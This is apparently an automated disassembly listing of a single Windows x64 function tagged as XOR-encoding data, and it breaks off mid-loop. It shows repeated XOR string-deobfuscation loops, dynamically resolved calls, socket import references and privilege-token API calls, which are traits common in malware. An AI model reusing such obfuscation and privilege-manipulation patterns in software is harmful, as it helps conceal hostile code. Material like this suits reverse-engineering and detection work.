Function at 0x14002e280
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x438]
sub rsp, 0x510
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x1409c0280]
xor rax, rsp
mov qword [rbp + 0x3d0], rax
mov r15, rcx
xor r12d, r12d
call fcn.140035b40
call fcn.14003bea0
lea rcx, [r15 + 0x1a8]
cmp qword [rcx + 0x18], 0x10
jb 0x14002e2e5
mov rcx, qword [rcx]
xor edx, edx
call rax
mov esi, 5
lea r14d, [rsi + 0x1a]
mov ebx, dword [reloc.WS2_32.dll_accept]
test rax, rax
je 0x14002e93d
mov byte [0x140a05f70], 1
movups xmm0, xmmword [0x140993a98]
movups xmmword [rbp + 0x80], xmm0
movsd xmm1, qword [0x140993aa8]
movsd qword [rbp + 0x90], xmm1
mov eax, dword [0x140993ab0]
mov dword [rbp + 0x98], eax
movzx eax, word [0x140993ab4]
mov word [rbp + 0x9c], ax
movzx eax, byte [0x140993ab6]
mov byte [rbp + 0x9e], al
mov eax, dword [0x140993954]
mov dword [rbp + 0x2a0], eax
movzx eax, word [0x140993958]
mov word [rbp + 0x2a4], ax
mov rax, qword [str.DYWYSE_]
mov qword [rbp + 0x280], rax
mov r8d, r12d
cmp ebx, 2
jl 0x14002e4ce
movdqa xmm5, xmmword [0x14099d990]
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movdqa xmm7, xmmword [0x14099da10]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14099db40]
movdqa xmmword [rbp + 0x230], xmm0
lea rcx, [rbp + 0x84]
mov edx, dword [rbp + 0x230]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14002e3c0
cmp r8d, r14d
jge 0x14002e512
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, r14d
jl 0x14002e4e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x240], xmm1
lea rax, [rbp + 0x80]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r12b
jne 0x14002e535
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x230]
call fcn.140011c40
nop
lea rdx, [r15 + 0x168]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14002e567
mov rdx, qword [rdx]
lea rcx, [rbp + 0x230]
call fcn.140013730
movzx eax, byte [rbp + 0x2a5]
test al, al
je 0x14002e5a9
xor byte [rbp + 0x2a0], 0x37
xor byte [rbp + 0x2a1], 0x38
xor byte [rbp + 0x2a2], 0x39
xor byte [rbp + 0x2a3], 0x3a
xor byte [rbp + 0x2a4], 0x3b
xor al, 0x3c
mov byte [rbp + 0x2a5], al
lea rax, [rbp + 0x2a0]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002e5c0
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x230]
call fcn.140013730
call fcn.14003c1b0
mov r10, rax
cmp byte [rbp + 0x287], 0
je 0x14002e753
cmp ebx, 2
jl 0x14002e710
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x14099d990]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
mov eax, dword [0x14099db40]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x280]
pxor xmm2, xmm1
movd dword [rbp + 0x280], xmm2
movdqa xmm3, xmmword [0x14099d9e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x284]
pxor xmm2, xmm1
movd dword [rbp + 0x284], xmm2
jmp 0x14002e753
lea r9, [rbp + 0x280]
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14002e720
lea rdx, [rbp + 0x230]
cmp qword [rbp + 0x248], 0x10
cmovae rdx, qword [rbp + 0x230]
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x280]
xor ecx, ecx
call r10
cmp byte [rbp + 0x287], 0
jne 0x14002e8f3
cmp ebx, 2
jl 0x14002e8a7
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x14099d990]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
mov eax, dword [0x14099db40]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x280]
pxor xmm2, xmm1
movd dword [rbp + 0x280], xmm2
movdqa xmm3, xmmword [0x14099d9e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x284]
pxor xmm2, xmm1
movd dword [rbp + 0x284], xmm2
jmp 0x14002e8f3
lea r9, [rbp + 0x280]
mov r8d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14002e8c0
call fcn.140039cf0
mov rdi, rax
movzx ecx, word [0x140993b1c]
mov word [rbp + 0x2a0], cx
cmp byte [0x140993b1d], 0
je 0x14002e920
mov byte [rbp + 0x2a0], Ordinal_50
xor byte [rbp + 0x2a1], 0x38
lea rcx, [rbp + 0x2a0]
call fcn.140182a90
mov ecx, eax
call rdi
nop
lea rcx, [rbp + 0x230]
call fcn.140010b20
call fcn.1400477f0
test al, al
je 0x14002f060
mov byte [0x140a05f70], 1
movups xmm0, xmmword [0x140993960]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [0x140993970]
movups xmmword [rbp + 0xb0], xmm1
movups xmm0, xmmword [0x140993980]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [0x140993990]
movups xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [0x1409939a0]
movups xmmword [rbp + 0xe0], xmm0
movsd xmm1, qword [0x1409939b0]
movsd qword [rbp + 0xf0], xmm1
mov eax, dword [0x1409939b8]
mov dword [rbp + 0xf8], eax
mov rax, qword [str.DYWYSE_]
mov qword [rbp + 0x280], rax
call fcn.14003c1b0
mov r10, rax
cmp byte [rbp + 0x287], 0
je 0x14002eb33
cmp ebx, 2
jl 0x14002eaf4
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x14099d990]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
mov eax, dword [0x14099db40]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x280]
pxor xmm2, xmm1
movd dword [rbp + 0x280], xmm2
movdqa xmm3, xmmword [0x14099d9e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x284]
pxor xmm2, xmm1
movd dword [rbp + 0x284], xmm2
jmp 0x14002eb33
lea r9, [rbp + 0x280]
mov r8d, r12d
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14002eb00
cmp byte [rbp + 0xfb], 0
je 0x14002ece3
mov r8d, r12d
cmp ebx, 2
jl 0x14002ec9f
movdqa xmm5, xmmword [0x14099d990]
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movdqa xmm7, xmmword [0x14099da10]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14099db40]
movdqa xmmword [rbp + 0x230], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rbp + 0x230]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x14002eb90
cmp r8d, 0x5c
jge 0x14002ece3
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x14002ecb0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x280]
lea rdx, [rbp + 0xa0]
xor ecx, ecx
call r10
cmp byte [rbp + 0xfb], 0
jne 0x14002eeb3
mov r8d, r12d
cmp ebx, 2
jl 0x14002ee6f
movdqa xmm5, xmmword [0x14099d990]
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movdqa xmm7, xmmword [0x14099da10]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14099db40]
movdqa xmmword [rbp + 0x230], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rbp + 0x230]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x14002ed60
cmp r8d, 0x5c
jge 0x14002eeb3
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x14002ee80
cmp byte [rbp + 0x287], 0
jne 0x14002f023
cmp ebx, 2
jl 0x14002efde
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x14099d990]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
mov eax, dword [0x14099db40]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x280]
pxor xmm2, xmm1
movd dword [rbp + 0x280], xmm2
movdqa xmm3, xmmword [0x14099d9e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x284]
pxor xmm2, xmm1
movd dword [rbp + 0x284], xmm2
jmp 0x14002f023
lea r9, [rbp + 0x280]
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14002eff0
call fcn.140039cf0
mov rdi, rax
movzx ecx, word [0x140993b1c]
mov word [rbp + 0x2a0], cx
cmp byte [0x140993b1d], 0
je 0x14002f050
mov byte [rbp + 0x2a0], Ordinal_50
xor byte [rbp + 0x2a1], 0x38
lea rcx, [rbp + 0x2a0]
call fcn.140182a90
mov ecx, eax
call rdi
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x160], rax
movabs rax, 0xeab13a9a98e59e9b
mov qword [rbp + 0x250], rax
movabs rax, 0x1d2e8b3fffd132ac
mov qword [rbp + 0x258], rax
movabs rax, 0x8665af9483a9ffdd
mov qword [rbp + 0x260], rax
movabs rax, 0x67d39ca96ad06f96
mov qword [rbp + 0x268], rax
movabs rax, 0x43c81d76dd2177cf
mov qword [rbp + 0x270], rax
movabs rax, 0x99f9d7ab46b497b0
mov qword [rbp + 0x278], rax
movabs rax, 0xeade3ad698809ec8
mov qword [rsp + 0x40], rax
movabs rax, 0x1d5c8b7bffb532cd
mov qword [rsp + 0x48], rax
movabs rax, 0x8617aff183dfffb4
mov qword [rsp + 0x50], rax
movabs rax, 0x67a59cc06aa26fc6
mov qword [rsp + 0x58], rax
movabs rax, 0x43af1d13dd4d77a6
mov qword [rsp + 0x60], rax
movabs rax, 0x99f9d7ab46b497d5
mov qword [rsp + 0x68], rax
movdqa xmm0, xmmword [rsp + 0x40]
pxor xmm0, xmmword [rbp + 0x250]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x260]
pxor xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm0, xmmword [rbp + 0x270]
pxor xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x14002f1a0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.140010e90
nop
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x130]
call fcn.14001c8e0
mov qword [rbp + 0x150], 0xffffffffffffffff
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
lea rdx, [rbp + 0x130]
cmp qword [rbp + 0x148], 8
cmovae rdx, qword [rbp + 0x130]
lea r8, [rbp + 0x15c]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x14002f248
lea r8, [rbp + 0x150]
mov edx, Ordinal_41
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14002f248
lea r9, [rbp + 0x150]
lea edx, [rax + 0x28]
mov rcx, 0xfffffffffffffffe
lea r8d, [rax + 1]
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
nop
lea rcx, [rbp + 0x80]
call fcn.140010aa0
cmp qword [rbp + 0x140], 0
je 0x14002f275
mov rcx, qword [rbp + 0x150]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x14002f997
mov byte [0x140a05f70], 1
movups xmm0, xmmword [0x140993ac0]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [0x140993ad0]
movups xmmword [rbp + 0xb0], xmm1
movups xmm0, xmmword [0x140993ae0]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [0x140993af0]
movups xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [0x140993b00]
movups xmmword [rbp + 0xe0], xmm0
movsd xmm1, qword [0x140993b10]
movsd qword [rbp + 0xf0], xmm1
mov eax, dword [0x140993b18]
mov dword [rbp + 0xf8], eax
mov rax, qword [str.DYWYSE_]
mov qword [rbp + 0x280], rax
call fcn.14003c1b0
mov r10, rax
cmp byte [rbp + 0x287], 0
je 0x14002f463
cmp ebx, 2
jl 0x14002f41f
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x14099d990]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
mov eax, dword [0x14099db40]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x280]
pxor xmm2, xmm1
movd dword [rbp + 0x280], xmm2
movdqa xmm3, xmmword [0x14099d9e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x284]
pxor xmm2, xmm1
movd dword [rbp + 0x284], xmm2
jmp 0x14002f463
lea r9, [rbp + 0x280]
mov r8d, r12d
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14002f430
cmp byte [rbp + 0xfb], 0
je 0x14002f613
mov r8d, r12d
cmp ebx, 2
jl 0x14002f5cf
movdqa xmm5, xmmword [0x14099d990]
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movdqa xmm7, xmmword [0x14099da10]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14099db40]
movdqa xmmword [rbp + 0x230], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rbp + 0x230]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x14002f4c0
cmp r8d, 0x5c
jge 0x14002f613
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
